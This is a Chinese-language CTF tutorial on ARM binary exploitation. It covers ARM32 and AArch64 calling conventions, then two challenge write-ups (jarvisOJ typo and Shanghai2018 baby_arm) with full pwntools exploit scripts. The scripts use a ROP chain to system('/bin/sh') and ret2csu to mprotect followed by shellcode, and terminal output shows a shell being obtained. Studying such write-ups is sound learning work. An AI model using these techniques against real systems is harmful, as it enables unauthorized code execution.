从零开始的 Pwn 之旅 异架构 Arm

Arm 汇编速探

函数调用约定

  • TODO: 写一片文章介绍 arm 汇编相关知识

ARM32(AArch32)调用约定

  • 前 4 个参数:r0 ~ r3

  • 返回值:r0

  • 多余参数:栈上传递,从右往左入栈

  • 堆栈平衡:被调用函数负责

  • 函数调用:bl/b,返回用 bx lrmov pc, lr

  • 寄存器:pc(程序计数器),lr(链接寄存器,保存返回地址)

  • LDR 指令

    • LDR r0, [r1]:将 r1 指向的内存地址的值加载到 r0
    • LDR r0, [r1, #4]:将 r1 + 4 地址的值加载到 r0
    • LDR r0, [r1, r2]:将 r1 + r2 地址的值加载到 r0

ARM64(AArch64)调用约定

  • 前 8 个参数:x0 ~ x7
  • 返回值:x0
  • 多余参数:依然通过栈传递,但栈对齐要求更高(16 字节对齐),参数顺序依然是从右往左入栈
  • 堆栈平衡:被调用函数负责
  • 函数调用:bl/bl <label>,返回用 ret
  • 寄存器:
    • pc(程序计数器,通常不可直接访问)
    • lr/x30(链接寄存器,保存返回地址)

主要区别

对比项ARM32 (AArch32)ARM64 (AArch64)
参数传递4 个寄存器(r0~r3)8 个寄存器(x0~x7)
返回值r0x0
多余参数栈传递,右→左栈传递,右→左,16字节对齐
返回指令bx lr / mov pc, lrret (等价于 ret x30)
寄存器命名r0~r12, sp(r13), lr(r14), pc(r15)x0~x30, sp, lr(x30), pc
栈对齐无特殊要求16 字节对齐

例题

jarvisOJ_typo

jarvisoj - typo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ pwn checksec ./typo                                                                                                       (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/arm/jarvisOJ_typo/typo'
    Arch:       arm-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8000)

~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ file ./typo                  (.venv)127 master ✱ ◼
./typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

arm 32 位小端, 只开了 NX, 没有启用 ASLR, 也没有启用 canary, 静态链接

ida pro 反编译出了很多函数,start 函数无法反编译,我们来结合程序行为来确定 main 函数

1
2
3
4
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ qemu-arm ./typo                                                                                                     (.venv)126 master ✱ ◼
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

搜索字符串 Let’s Do Some Typing Exercise~ 后得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall sub_8F00(int a1, int a2)
{
  int v2; // r0
  int v3; // r0
  int v4; // r0
  int v5; // r0
  __int64 v6; // r0
  int v7; // r3
  int v9; // [sp+0h] [bp-34h]
  int v10; // [sp+4h] [bp-30h]
  __int64 v11; // [sp+8h] [bp-2Ch]
  int v12; // [sp+10h] [bp-24h]
  int v13; // [sp+14h] [bp-20h]
  int v14; // [sp+18h] [bp-1Ch]
  int v15; // [sp+1Ch] [bp-18h]
  int v16; // [sp+20h] [bp-14h]
  int v17; // [sp+24h] [bp-10h]

  v17 = 0;
  v16 = 0;
  sub_11D04(off_A1538, 0, 2, 0, a2, a1);
  sub_11D04(off_A1534[0], 0, 2, 0, v9, v10);
  v2 = sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 86);
  if ( sub_12170(v2) != 10 )
    sub_FBD4(-1);
  sub_22240(1, "------Begin------", 17);
  v3 = sub_214CC(0);
  v4 = sub_FE28(v3);
  v15 = sub_21474(v4);
  do
  {
    ++v17;
    v14 = sub_10568() % 4504;
    sub_11338("\n%s\n", &aAbandon[20 * v14]);
    v5 = sub_8D24(&aAbandon[20 * v14]);
    v13 = v5;
    if ( !v5 )
    {
      v5 = sub_11AC0("E.r.r.o.r.");
      ++v16;
    }
  }
  while ( v13 != 2 );
  v12 = sub_21474(v5);
  v6 = sub_9428(v12 - v15);
  v11 = sub_9770(v6, HIDWORD(v6), 0, 1093567616);
  sub_22240(1, "------END------", 15);
  sub_11F80(10);
  sub_8DF0(v17 - 1, v16, v11, HIDWORD(v11));
  sub_11AC0("Bye");
  return v7;
}

发现函数都被去函数名了,分析很困难

我们考虑对程序进行输入测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ qemu-arm ./typo                                                                                                     (.venv)126 master ✱ ◼
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
shoe
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    29765 segmentation fault (core dumped)  qemu-arm ./typo
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
zsh: 文件名过长: daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯

发现崩溃点,尝试调试偏移距离

1
2
3
4
5
6
7
8
9
# 使用 qemu-arm 模拟调试
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ qemu-arm -g 1234 ./typo
# 使用 gdb 连接到 qemu-arm
~ ❯❯❯ gdb
pwndbg> target remote :1234

pwndbg> pwn cyclic -l daab
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>

静态链接的程序尝试使用 one_gadget

1
2
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ one_gadget ./typo                  (.venv) master ✱ ◼
[OneGadget] UnsupportedArchitectureError: arm

看起来不支持,我们只能自己寻找 我们尝试符号还原

网上给出方法使用 rizzo 进行符号还原 但是笔者折腾了一下午都没有成功 编译了 arm 版本的 glibc 2.27

笔者使用的编译命令如下:

1
CFLAGS="-g -O3 -Wno-error" ../glibc-2.26/configure --prefix=/usr --host=arm-linux-gnueabihf --build=$(../glibc-2.26/scripts/config.guess) --with-headers=/usr/arm-linux-gnueabihf/include --enable-shared --enable-obsolete-rpc --disable-werrorls

笔者编译出的 libc.a 的 system.o 中 do_system 实现

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
int __fastcall do_system(int a1)
{
  unsigned int v2; // r3
  bool v3; // zf
  unsigned int v4; // r2
  int v6; // r2
  int v8; // r2
  int *(__fastcall *v9)(_DWORD *, int, int, int); // r3
  int v10; // r0
  int v11; // r4
  int v12; // r7
  int v13; // r0
  unsigned int v14; // r2
  bool v15; // zf
  unsigned int v16; // r1
  int v17; // r7
  int v18; // r2
  unsigned int v19; // r2
  bool v20; // zf
  unsigned int v21; // r1
  int v22; // r5
  int v23; // r4
  int v24; // r2
  int v25; // [sp+0h] [bp-150h] BYREF
  _DWORD v26[4]; // [sp+4h] [bp-14Ch] BYREF
  _DWORD v27[4]; // [sp+14h] [bp-13Ch] BYREF
  _BYTE v28[128]; // [sp+24h] [bp-12Ch] BYREF
  int v29; // [sp+A4h] [bp-ACh] BYREF
  _DWORD s[42]; // [sp+A8h] [bp-A8h] BYREF

  v29 = 1;
  memset(s, 0, 132);
  while ( 1 )
  {
    v2 = __ldrex((unsigned int *)&lock);
    v3 = v2 == 0;
    if ( v2 )
      break;
    v4 = __strex(1u, (unsigned int *)&lock);
    v3 = v4 == 0;
    if ( !v4 )
    {
      __dmb(0xBu);
      break;
    }
  }
  if ( !v3 )
    _lll_lock_wait_private(&lock);
  if ( !sa_refcntr++ )
  {
    if ( _sigaction(2, &v29, &intr) < 0 )
    {
      --sa_refcntr;
      goto LABEL_10;
    }
    if ( _sigaction(3, &v29, &quit) < 0 )
    {
      v22 = __mrc(15, 0, 13, 0, 3);
      --sa_refcntr;
      v23 = *(_DWORD *)((char *)&_libc_errno + v22);
LABEL_57:
      _sigaction(2, &intr, 0);
      *(_DWORD *)((char *)&_libc_errno + v22) = v23;
LABEL_10:
      __dmb(0xBu);
      do
        v6 = __ldrex((unsigned int *)&lock);
      while ( __strex(0, (unsigned int *)&lock) );
      if ( v6 > 1 )
        _libc_do_syscall(&lock, 129, 1, 0);
      return -1;
    }
  }
  __dmb(0xBu);
  do
    v8 = __ldrex((unsigned int *)&lock);
  while ( __strex(0, (unsigned int *)&lock) );
  if ( v8 > 1 )
    _libc_do_syscall(&lock, 129, 1, 0);
  s[0] |= 0x10000u;
  if ( _sigprocmask(0, s, v28) < 0 )
  {
    while ( 1 )
    {
      v19 = __ldrex((unsigned int *)&lock);
      v20 = v19 == 0;
      if ( v19 )
        break;
      v21 = __strex(1u, (unsigned int *)&lock);
      v20 = v21 == 0;
      if ( !v21 )
      {
        __dmb(0xBu);
        break;
      }
    }
    if ( !v20 )
      _lll_lock_wait_private(&lock);
    if ( --sa_refcntr )
      goto LABEL_10;
    v22 = __mrc(15, 0, 13, 0, 3);
    v23 = *(_DWORD *)((char *)&_libc_errno + v22);
    _sigaction(3, &quit, 0);
    goto LABEL_57;
  }
  if ( &pthread_cleanup_push_defer )
  {
    pthread_cleanup_push_defer(v26, cancel_handler, &v25);
  }
  else
  {
    v9 = cancel_handler;
    v26[0] = cancel_handler;
    v26[1] = &v25;
  }
  v10 = _libc_do_syscall(1048593, 0, &v25, v9);
  v11 = v10;
  if ( (unsigned int)v10 > 0xFFFFF000 )
  {
    v24 = __mrc(15, 0, 13, 0, 3);
    v25 = -1;
    *(_DWORD *)((char *)&_libc_errno + v24) = -v10;
  }
  else
  {
    v25 = v10;
    if ( !v10 )
    {
      v27[0] = &LC0;
      v27[2] = a1;
      v27[1] = &LC1;
      v27[3] = 0;
      _sigaction(2, &intr, 0);
      _sigaction(3, &quit, v11);
      _sigprocmask(2, v28, v11);
      lock = v11;
      sa_refcntr = v11;
      _execve("/bin/sh", v27, _environ);
      exit(127);
    }
    if ( v10 >= 0 )
    {
      v12 = __mrc(15, 0, 13, 0, 3);
      while ( 1 )
      {
        v13 = _waitpid(v11, v27, 0);
        if ( v13 != -1 )
          break;
        v11 = v25;
        if ( *(_DWORD *)((char *)&_libc_errno + v12) != 4 )
          goto LABEL_30;
      }
      v11 = v25;
LABEL_30:
      if ( v11 == v13 )
        goto LABEL_32;
    }
  }
  v27[0] = -1;
LABEL_32:
  if ( &pthread_cleanup_push_defer )
    pthread_cleanup_pop_restore(v26, 0);
  while ( 1 )
  {
    v14 = __ldrex((unsigned int *)&lock);
    v15 = v14 == 0;
    if ( v14 )
      break;
    v16 = __strex(1u, (unsigned int *)&lock);
    v15 = v16 == 0;
    if ( !v16 )
    {
      __dmb(0xBu);
      break;
    }
  }
  if ( !v15 )
    _lll_lock_wait_private(&lock);
  if ( --sa_refcntr || (v17 = _sigaction(2, &intr, 0), !(v17 | _sigaction(3, &quit, 0))) )
  {
    if ( _sigprocmask(2, v28, 0) )
      v27[0] = -1;
  }
  else
  {
    v27[0] = -1;
  }
  __dmb(0xBu);
  do
    v18 = __ldrex((unsigned int *)&lock);
  while ( __strex(0, (unsigned int *)&lock) );
  if ( v18 > 1 )
    _libc_do_syscall(&lock, 129, 1, 0);
  return v27[0];
}

程序中的 do_system 实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void sub_10BA8()
{
  int v1; // r3
  int v2; // r0
  int v3; // r4
  int v4; // r2
  int v5; // r3
  int v6; // r0
  int v7; // [sp+A4h] [bp-ACh] BYREF
  int v8[42]; // [sp+A8h] [bp-A8h] BYREF

  v8[32] = 0;
  v7 = 1;
  memset(v8, 0, 0x80u);
  if ( dword_A2450 )
  {
    sub_23E44(&dword_A2450);
    if ( dword_A2454++ == 0 )
    {
      if ( sub_315C8((char *)2, &v7, dword_A24E4) < 0 )
      {
        --dword_A2454;
      }
      else if ( sub_315C8((char *)3, &v7, dword_A2458) < 0 )
      {
        sub_A6D0();
        v3 = *(_DWORD *)(v2 + *(_DWORD *)(v1 + 69228));
        dword_A2454 = v4 - 1;
        sub_315C8((char *)2, dword_A24E4, 0);
        sub_A6D0();
        *(_DWORD *)(v6 + *(_DWORD *)(v5 + 69496)) = v3;
      }
    }
  }
  JUMPOUT(0xFFFF0FC0);
}

可以看到 ida pro 直接分析失败了

使用 rizzo 进行符号还原

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[Rizzo] Applying Rizzo signatures, this may take a few minutes...
[Rizzo] Generated 791 formal signatures and 513 fuzzy signatures for 870 functions in 4.22 seconds.
[Rizzo] Loading signatures from /home/lhon901/Desktop/Glibc/226_system.riz...
[Rizzo] loaded.
[Rizzo] Found 0 formal matches in 0.00 seconds.
[Rizzo] Found 0 fuzzy matches in 0.00 seconds.
[Rizzo] Found 0 string matches in 0.00 seconds.
[Rizzo] Found 0 immediate matches in 0.00 seconds.
[Rizzo] Renamed 0 functions in 0.00 seconds.
[Rizzo] Signatures applied in 4.31 seconds

没有找到任何匹配

符号还原失败,我们可以尝试分析程序行为 Glibc 的 system 函数实现会调用 do_system 函数 do_system 函数会调用 execve 函数来执行 /bin/sh system("echo 1"); 其实就是 /bin/sh -c "echo 1" 所以我们只需要交叉引用找到 /bin/sh 的调用者即可

1
2
3
4
5
6
.text:00011010                 LDR     R0, =aBinSh     ; "/bin/sh"
.text:00011014                 LDR     R2, [R3]
.text:00011018                 ADD     R1, SP, #0x150+var_13C
.text:0001101C                 STR     R4, [R5]
.text:00011020                 STR     R4, [R5,#(dword_A2454 - 0xA2450)]
.text:00011024                 BL      sub_21654

可以看到 /bin/sh 的调用者是 sub_21654 函数 那么我们可以在 sub_21654 函数中就是 execve 函数 sub_21654 函数的上层函数 sub_10BA8 函数就是 do_system 函数 sub_10BA8 函数的上层函数 sub_110B4 就是 system 函数

找一下 gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ ROPgadget --binary ./typo --only "pop|ret"                                                                                (.venv) master ✱ ◼
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29
~/P/c/p/l/u/a/jarvisOJ_typo

选用下面这条 0x00020904 : pop {r0, r4, pc}

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process("./typo")

p.send("\n")
system = 0x110B4
pop_r0_r4_pc = 0x20904
binsh = 0x6C384
payload = b"a" * 112 + p32(pop_r0_r4_pc) + p32(binsh) + p32(0) + p32(system)
p.sendline(payload)

p.interactive()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
~/P/c/p/l/u/a/jarvisOJ_typo ❯❯❯ python exp.py                                                                                                             (.venv) master ✱ ◼
[+] Starting local process './typo': pid 145156
/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/arm/jarvisOJ_typo/exp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.send("\n")
[*] Switching to interactive mode
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
\x00------Begin------
rob
$ whoami
lhon901

Shanghai2018_baby_arm

1
2
3
4
5
6
7
~/P/c/p/l/u/a/Shanghai2018_baby_arm ❯❯❯ pwn checksec ./pwn                                                                                          (.venv)127 master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/arm/Shanghai2018_baby_arm/pwn'
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

有 NX 栈不可执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
~/P/c/p/l/u/a/Shanghai2018_baby_arm ❯❯❯ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn                                                                      (.venv) master ✱ ◼
Name:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    6827 segmentation fault (core dumped)  qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn
~/P/c/p/l/u/a/Shanghai2018_baby_arm ❯❯❯                                                                                                             (.venv)139 master ✱ ◼


~/P/c/p/l/u/a/Shanghai2018_baby_arm ❯❯❯ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn                                                                (.venv)139 master ✱ ◼
Name:lhon901
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    6914 segmentation fault (core dumped)  qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn

两个输入点都存在栈溢出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  ssize_t v3; // x0

  sub_400760(a1, a2, a3);
  write(1, "Name:", 5u);
  v3 = read(0, &unk_411068, 0x200u);
  sub_4007F0(v3);
  return 0;
}

ssize_t sub_4007F0()
{
  char buf; // [xsp+10h] [xbp+10h] BYREF

  return read(0, &buf, 0x200u);
}

注意到是有 mprotect 函数, 考虑使用 mprotect 函数来修改 unk_411068 的权限

但是发现可利用的函数

1
2
3
4
__int64 sub_4007C8()
{
  return mprotect(&off_411000, 0x1000u, 0);
}
1
2
3
4
.text:00000000004007D0                 MOV             W2, #0  ; prot
.text:00000000004007D4                 MOV             X1, #0x1000 ; len
.text:00000000004007D8                 MOV             X0, #off_411000 ; addr
.text:00000000004007E0                 BL              .mprotect

但是最后的参数不对,我们寻找 gadget 尝试修改 这里的 W2 其实就是 X2 的低 32 位寄存器 寻找 gadget 发现基本没有可用的 gadget 但是有 csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
.text:00000000004008AC loc_4008AC                              ; CODE XREF: init+60↓j
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: init+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET
.text:00000000004008DC ; End of function init

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./p"])
# io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "-g", "1234", "./p"])
elf = ELF("./p")
context.arch = "aarch64"
context.terminal = ["kitty", "@", "launch", "--type=window"]

csu_front_addr = 0x4008AC
csu_end_addr = 0x4008CC
fakeebp = p64(0)


def csu(call_function, x0, x1, x2, last):
    # pop {x19, x20, x21, x22, x23, x24}
    # x19 should be 0,
    # x20 should be 1,enable not to jump
    # x3 = x21 should be the function we want to call
    # w0=x0=x24
    # x1=x23
    # x2=x22
    x19 = 0
    x20 = 1
    x21 = call_function
    x22 = x2
    x23 = x1
    x24 = x0

    payload = b"a" * (72 - 8) + fakeebp
    payload += (
        p64(csu_end_addr)
        + p64(0)
        + p64(csu_front_addr)
        + p64(x19)
        + p64(x20)
        + p64(x21)
        + p64(x22)
        + p64(x23)
        + p64(x24)
    )
    # payload += p64(csu_front_addr)
    # payload += b"a" * 0x38
    payload += b"a" * 8 + p64(last)
    io.send(payload)


shellcode = asm(shellcraft.sh())
io.recvuntil("Name:")
io.sendline(shellcode)
# pause()
time.sleep(1)

mprotect_plt = elf.plt["mprotect"]
read_got = elf.got["read"]
read_plt = elf.plt["read"]
bss = 0x411200
csu(read_got, 0, bss, 0x8, 0x400854)
# pause()
time.sleep(1)
io.send(p64(mprotect_plt))
# pause()
time.sleep(1)

csu(bss, 0x411000, 0x1000, 7, 0x411068)
io.interactive()

这边有个坑要注意以下

1
csu(read_got, 0, bss, 0x1000, 0x400854)

笔者在构造参数时长度直接填了 0x1000, 导致 read 函数将内容写入未映射的内存, read 函数直接返回 -1, 没有进行数据读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
~/P/c/p/l/u/a/Shanghai2018_baby_arm ❯❯❯ python exp.py                                                                                                (.venv)127 master ✱ ◼
[+] Starting local process '/usr/bin/qemu-aarch64': pid 88348
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/arm/Shanghai2018_baby_arm/p'
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/arm/Shanghai2018_baby_arm/exp.py:48: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("Name:")
[*] Switching to interactive mode
